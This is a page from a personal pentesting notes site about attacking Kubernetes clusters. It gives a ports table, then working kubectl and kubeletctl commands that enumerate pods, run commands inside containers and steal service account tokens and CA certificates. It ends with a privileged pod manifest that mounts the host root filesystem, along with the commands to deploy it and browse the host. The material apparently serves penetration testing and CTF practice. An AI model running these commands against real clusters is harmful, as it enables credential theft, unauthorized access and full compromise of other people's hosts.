🖥️
h4rithd.com | Notes
Blog
🖥️
h4rithd.com | Notes
  • Hi, 😎🤏
  • 🐧Linux
    • Lateral Movement
    • PrivilageEsc Linux 👑
  • 🖼️Windows
    • Active Directory
    • Lateral Movement
    • PrivilageEsc Windows 👑
  • ⛅Cloud
    • AWS
    • Docker
    • Kubernetes
    • Entra ID (Azure AD)
  • ⚒️Tools
    • File Transfers
    • Shells / Payloads
    • Pivoting / Forwarding
    • Network Enumeration
    • Cracking / Fuzzing / Brute-force
  • 🩻 Forensic
    • Volatility3
    • Log Analysis
  • 📟TCP
    • FTP | 21
    • SSH | 22
    • SMTP | 25, 587
    • DNS | 53
    • Finger | 79
    • POP3 & IMAP | 110, 143, 993
    • RPC & NFS | 111, 2049
    • LDAP | 389, 636
    • HTTPS | 443
    • SMB | 445, 139
    • Squid Proxy | 3128
    • Subversion | 3690
    • Redis | 6379
    • Elasticsearch | 9200
    • Memcached | 11211
    • Gluster | 24007, 49152
  • 💧UDP
    • TFTP | 69
    • SNMP | 161
    • IPsec IKE | 500, 4500
    • IPMI | 623
    • IPP | 631
  • 🪵OWASP 10
    • LFI / XXE
    • SQL Injection
    • Neo4j Injection
    • Deserialization
    • NoSQL Injection
    • Command Injection
    • XSS / CSV / HTMLi / (S/C)SRF / SSTI
  • 🎛️Database
    • SQLite
    • Oracle SQL | 1521
    • MSSQL / MYSQL / PSQL
  • 🔗Binary Exploitation
    • Linux
    • Windows
  • ⛓️Languages
    • Go
    • .Net
    • PHP
    • Perl
    • asp/x
    • Ruby
    • Bash
    • React
    • Python
    • NGINX
    • Node.js
      • Express.js
    • .NetCore
    • React Native
  • 🍄Other
    • Git
    • WiFi
    • Curl
    • Hints!!
    • Log4j
    • Mobile Sec
    • BookMarks
    • Steganography
    • CMS / Servers / Others
  • 🍎RedTeam
    • Reconnaissance
    • Initial Access
    • Persistence Techniques
    • AV Evasion Techniques
Powered by GitBook
On this page

Was this helpful?

  1. Cloud

Kubernetes

Last updated 11 months ago

Was this helpful?

00. Basic

  • Default ports

Port Range
Purpose
Used By

6443

Kubernetes API server

All

2379-2380

etcd server client API

kube-apiserver, etcd

10250

Kubelet API

Self, Control plane

10259

kube-scheduler

Self

10257

kube-controller-manager

Self

10250

Kubelet API

Self, Control plane

30000-32767

NodePort Services

All

  • kubectl

## ------------------| Basic Infomations
kubectl --server <IP> get pod
kubectl --server <IP> cluster-info
kubectl --server <IP> get namespaces
kubectl --server <IP> auth can-i --list
kubectl --server <IP> --certificate-authority=ca.crt --token=$(cat token) get pod
  • kubelet []

## ------------------| list all the pods on the node
kubeletctl pods -s <IP>

## ------------------| list all the running pods
kubeletctl runningpods -s <IP>
kubeletctl runningpods -s <IP> | jq -c '.items[].metadata | [.name, .namespace]'
## Check what's not in the kube-system namespace

## ------------------| Execute commands
kubeletctl -s <IP> exec "id" -p <PodName> -c <ContainerName>

## ------------------| Auth to Kubernetes API
# /run/secrets/kubernetes.io/serviceaccount
# /var/run/secrets/kubernetes.io/serviceaccount
# /secrets/kubernetes.io/serviceaccout
kubeletctl -s <IP> exec "ls /run/secrets/kubernetes.io/serviceaccount" -p <PodName> -c <ContainerName>                                           
kubeletctl -s <IP> exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <PodName> -c <ContainerName> | tee ca.crt
kubeletctl -s <IP> exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p <PodName> -c <ContainerName> | tee token
kubectl --server <IP> --certificate-authority=ca.crt --token=$(cat token) get pod
  • Create root pod

## ------------------| YAML skeleton
apiVersion: v1 
kind: Pod
metadata:
  name: h4rithd
  namespace: default
spec:
  containers:
  - name: h4rithd
    image: nginx:1.14.2 # Use this to get the version: kubectl get pod nginx -o yaml --server <IP>           
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
  
## ------------------| Start the pod
kubectl apply -f skeleton.yaml --server <IP>

kubeletctl exec "ls /mnt/" -s <IP> -p h4rithd -c h4rithd
kubeletctl
⛅
Page cover image